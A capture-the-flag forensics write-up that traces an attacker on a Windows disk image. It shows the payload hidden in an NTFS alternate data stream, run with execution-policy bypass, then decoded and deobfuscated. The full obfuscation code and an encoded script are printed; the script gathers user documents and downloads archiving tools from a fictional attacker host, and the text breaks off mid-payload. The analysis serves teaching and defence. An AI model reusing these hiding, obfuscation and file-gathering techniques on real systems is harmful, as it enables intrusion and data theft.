Artifacts of Dangerous Sightings
54 minutes to read
We are given a Windows disk image inside a folder called HostEvidence_PANDORA:
$ file HostEvidence_PANDORA/2023-03-09T132449_PANDORA.vhdx
HostEvidence_PANDORA/2023-03-09T132449_PANDORA.vhdx: Microsoft Disk Image eXtended, by .NET DiscUtils, sequence 0x8, NO Log Signature; region, 2 entries, id Metadata, at 0x200000, Required 1, id BAT, at 0x300000, Required 1
If we switch to a Windows machine and mount the disk image, we will have the following folders:
Analyzing the disk image
Basically, it is the C:\ drive of a Windows machine. If we analyze the PowerShell history of user Pandora we see something interesting:
It looks like an attacker gained access to the machine and ran some PowerShell commands. In the above image we see an interesting command:
type finpayload > C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
Moreover, the next commands were used to erase PowerShell logs.
Analyzing log files
Still not having PowerShell logs, I was still blind and started looking at System.evtx:
Instead of using the Event Viewer, I ran evtx_dump.py (from python-evtx) and used grep to see if any PowerShell command was run. In fact, there was an event that matched:
$ evtx_dump.py System.evtx | grep -i powershell
<Data Name="ImagePath">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass - < C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1</Data>
<Channel>Windows PowerShell</Channel>
<Channel>Microsoft-Windows-PowerShell/Operational</Channel>
<Channel>Windows PowerShell</Channel>
<Channel>Microsoft-Windows-PowerShell/Operational</Channel>
<Data Name="ImagePath">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass - < C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1</Data>
Further, it is running the file ActiveSyncProvider.dll:hidden.ps1 with -ep bypass (Execution Policy Bypass). At this point, I knew that there was something hidden in ActiveSyncProvider.dll.
Alternate Data Streams
Searching for the name of the DLL file showed that it is a legitimate one, so reverse-engineering the DLL is not required. There is nothing found on the folder that contains the DLL:
The key here is the : notation. In Windows, there is a way to append a file into another file due to NTFS. This feature is called Alternate Data Streams. Notice as well that the challenge acronym is ADS, the same for Alternate Data Streams, so we must be on the right track.
In order to read the hidden.ps1 file we can use notepad as follows:
This is a PowerShell payload that is encoded in Base64 (passed to PowerShell with -enc option).
PowerShell deobfuscation
Let’s use CyberChef to decode the payload:
It does not show anything readable… Let’s add “To Hexdump” to analyze printable characters:
Alright, it has the default encoding for Windows, because characters are two bytes. To solve it, we can remove null bytes:
Perfect, now we have an obfuscated PowerShell script. After entering new line characters after semicolons we have this:
${[~@} = $();
${!!@!!]} = ++${[~@};
${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
${~~~]} = ${[[!} + ${!!@!!]};
${[!![!} = ${[[!} + ${[[!};
${(~(!} = ${~~~]} + ${[[!};
${!~!))} = ${[!![!} + ${[[!};
${((!} = ${!!@!!]} + ${[!![!} + ${[[!};
${=!!@!!} = ${~~~]} - ${!!@!!]} + ${!~!))};
${!=} = ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27];
${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
"[...]" |& ${=@!~!}
The script was truncated at the end (where the [...]). To find out what it’s trying to execute, let’s run the code and print the last string (skipping |& ${=@!~!} because that’s probably going to execute the string):
$ pwsh
PowerShell 7.3.3
PS .../Artifacts of Dangerous Sightings> ${[~@} = $();
PS .../Artifacts of Dangerous Sightings> ${!!@!!]} = ++${[~@};
PS .../Artifacts of Dangerous Sightings> ${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]};
PS .../Artifacts of Dangerous Sightings> ${~~~]} = ${[[!} + ${!!@!!]};
PS .../Artifacts of Dangerous Sightings> ${[!![!} = ${[[!} + ${[[!};
PS .../Artifacts of Dangerous Sightings> ${(~(!} = ${~~~]} + ${[[!};
PS .../Artifacts of Dangerous Sightings> ${!~!))} = ${[!![!} + ${[[!};
PS .../Artifacts of Dangerous Sightings> ${((!} = ${!!@!!]} + ${[!![!} + ${[[!};
PS .../Artifacts of Dangerous Sightings> ${=!!@!!} = ${~~~]} - ${!!@!!]} + ${!~!))};
PS .../Artifacts of Dangerous Sightings> ${!=} = ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]};
PS .../Artifacts of Dangerous Sightings> ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]);
PS .../Artifacts of Dangerous Sightings> ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27];
PS .../Artifacts of Dangerous Sightings> ${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
PS .../Artifacts of Dangerous Sightings>
PS .../Artifacts of Dangerous Sightings> "[...]"
[Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]43 + [Char]32 + [Char]32 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]95 + [Char]95 + [Char]95 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]95 + [Char]95 + [Char]95 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]95 + [Char]34 + [Char]46 + [Char]94 + [Char]32 + [Char]46 + [Char]94 + [Char]32 + [Char]94 + [Char]46 + [Char]32 + [Char]32 + [Char]39 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]34 + [Char]45 + [Char]95 + [Char]46 + [Char]32 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]46 + [Char]47 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]94 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]43 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]47 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]95 + [Char]32 + [Char]58 + [Char]58 + [Char]58 + [Char]47 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]45 + [Char]32 + [Char]58 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]47 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]124 + [Char]46 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]58 + [Char]58 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]45 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]32 + [Char]58 + [Char]58 + [Char]124 + [Char]46 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]58 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]92 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]43 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]58 + [Char]32 + [Char]45 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]43 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]46 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]46 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]46 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]45 + [Char]58 + [Char]58 + [Char]58 + [Char]58 + [Char]46 + [Char]92 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]124 + [Char]32 + [Char]124 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]45 + [Char]58 + [Char]46 + [Char]34 + [Char]58 + [Char]46 + [Char]58 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]45 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]58 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]46 + [Char]46 + [Char]46 + [Char]58 + [Char]58 + [Char]95 + [Char]58 + [Char]46 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]95 + [Char]95 + [Char]95 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]43 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]124 + [Char]92 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]83 + [Char]67 + [Char]82 + [Char]73 + [Char]80 + [Char]84 + [Char]32 + [Char]84 + [Char]79 + [Char]32 + [Char]68 + [Char]69 + [Char]76 + [Char]65 + [Char]89 + [Char]32 + [Char]72 + [Char]85 + [Char]77 + [Char]65 + [Char]78 + [Char]32 + [Char]82 + [Char]69 + [Char]83 + [Char]69 + [Char]65 + [Char]82 + [Char]67 + [Char]72 + [Char]32 + [Char]79 + [Char]78 + [Char]32 + [Char]82 + [Char]69 + [Char]76 + [Char]73 + [Char]67 + [Char]32 + [Char]82 + [Char]69 + [Char]67 + [Char]76 + [Char]65 + [Char]77 + [Char]65 + [Char]84 + [Char]73 + [Char]79 + [Char]78 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]83 + [Char]84 + [Char]65 + [Char]89 + [Char]32 + [Char]81 + [Char]85 + [Char]73 + [Char]69 + [Char]84 + [Char]32 + [Char]45 + [Char]32 + [Char]72 + [Char]65 + [Char]67 + [Char]75 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]32 + [Char]72 + [Char]85 + [Char]77 + [Char]65 + [Char]78 + [Char]83 + [Char]32 + [Char]45 + [Char]32 + [Char]83 + [Char]84 + [Char]69 + [Char]65 + [Char]76 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]73 + [Char]82 + [Char]32 + [Char]83 + [Char]69 + [Char]67 + [Char]82 + [Char]69 + [Char]84 + [Char]83 + [Char]32 + [Char]45 + [Char]32 + [Char]70 + [Char]73 + [Char]78 + [Char]68 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]32 + [Char]82 + [Char]69 + [Char]76 + [Char]73 + [Char]67 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]71 + [Char]79 + [Char]32 + [Char]65 + [Char]76 + [Char]76 + [Char]73 + [Char]69 + [Char]78 + [Char]83 + [Char]32 + [Char]65 + [Char]76 + [Char]76 + [Char]73 + [Char]65 + [Char]78 + [Char]67 + [Char]69 + [Char]32 + [Char]33 + [Char]33 + [Char]33 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]61 + [Char]64 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]54 + [Char]53 + [Char]46 + [Char]46 + [Char]57 + [Char]48 + [Char]124 + [Char]102 + [Char]111 + [Char]114 + [Char]101 + [Char]97 + [Char]99 + [Char]104 + [Char]45 + [Char]111 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]123 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]43 + [Char]61 + [Char]91 + [Char]99 + [Char]104 + [Char]97 + [Char]114 + [Char]93 + [Char]36 + [Char]95 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]61 + [Char]64 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]52 + [Char]56 + [Char]46 + [Char]46 + [Char]53 + [Char]55 + [Char]124 + [Char]102 + [Char]111 + [Char]114 + [Char]101 + [Char]97 + [Char]99 + [Char]104 + [Char]45 + [Char]111 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]123 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]43 + [Char]61 + [Char]91 + [Char]99 + [Char]104 + [Char]97 + [Char]114 + [Char]93 + [Char]36 + [Char]95 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]32 + [Char]43 + [Char]32 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]32 + [Char]124 + [Char]32 + [Char]83 + [Char]111 + [Char]114 + [Char]116 + [Char]45 + [Char]79 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]32 + [Char]123 + [Char]71 + [Char]101 + [Char]116 + [Char]45 + [Char]82 + [Char]97 + [Char]110 + [Char]100 + [Char]111 + [Char]109 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]45 + [Char]106 + [Char]111 + [Char]105 + [Char]110 + [Char]32 + [Char]39 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]114 + [Char]101 + [Char]116 + [Char]117 + [Char]114 + [Char]110 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]59 + [Char]32 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]119 + [Char]104 + [Char]101 + [Char]114 + [Char]101 + [Char]32 + [Char]47 + [Char]114 + [Char]32 + [Char]36 + [Char]101 + [Char]110 + [Char]118 + [Char]58 + [Char]85 + [Char]83 + [Char]69 + [Char]82 + [Char]80 + [Char]82 + [Char]79 + [Char]70 + [Char]73 + [Char]76 + [Char]69 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]100 + [Char]102 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]116 + [Char]120 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]99 + [Char]115 + [Char]118 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]108 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]104 + [Char]112 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]115 + [Char]32 + [Char]45 + [Char]115 + [Char]112 + [Char]108 + [Char]105 + [Char]116 + [Char]32 + [Char]39 + [Char]92 + [Char]114 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]114 + [Char]101 + [Char]116 + [Char]117 + [Char]114 + [Char]110 + [Char]32 + [Char]36 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]59 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]99 + [Char]111 + [Char]109 + [Char]112 + [Char]114 + [Char]101 + [Char]115 + [Char]115 + [Char]40 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]41 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]101 + [Char]110 + [Char]118 + [Char]58 + [Char]84 + [Char]69 + [Char]77 + [Char]80 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]104 + [Char]116 + [Char]116 + [Char]112 + [Char]115 + [Char]58 + [Char]47 + [Char]47 + [Char]114 + [Char]101 + [Char]108 + [Char]105 + [Char]99 + [Char]45 + [Char]114 + [Char]101 + [Char]99 + [Char]108 + [Char]97 + [Char]109 + [Char]97 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]45 + [Char]97 + [Char]110 + [Char]111 + [Char]110 + [Char]121 + [Char]109 + [Char]111 + [Char]117 + [Char]115 + [Char]46 + [Char]97 + [Char]108 + [Char]105 + [Char]101 + [Char]110 + [Char]58 + [Char]49 + [Char]51 + [Char]51 + [Char]55 + [Char]47 + [Char]112 + [Char]114 + [Char]111 + [Char]103 + [Char]47 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]43 + [Char]32 + [Char]39 + [Char]55 + [Char]122 + [Char]46 + [Char]100 + [Char]108 + [Char]108 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]115 + [Char]32 + [Char]43 + [Char]32 + [Char]39 + [Char]55 + [Char]122 + [Char]46 + 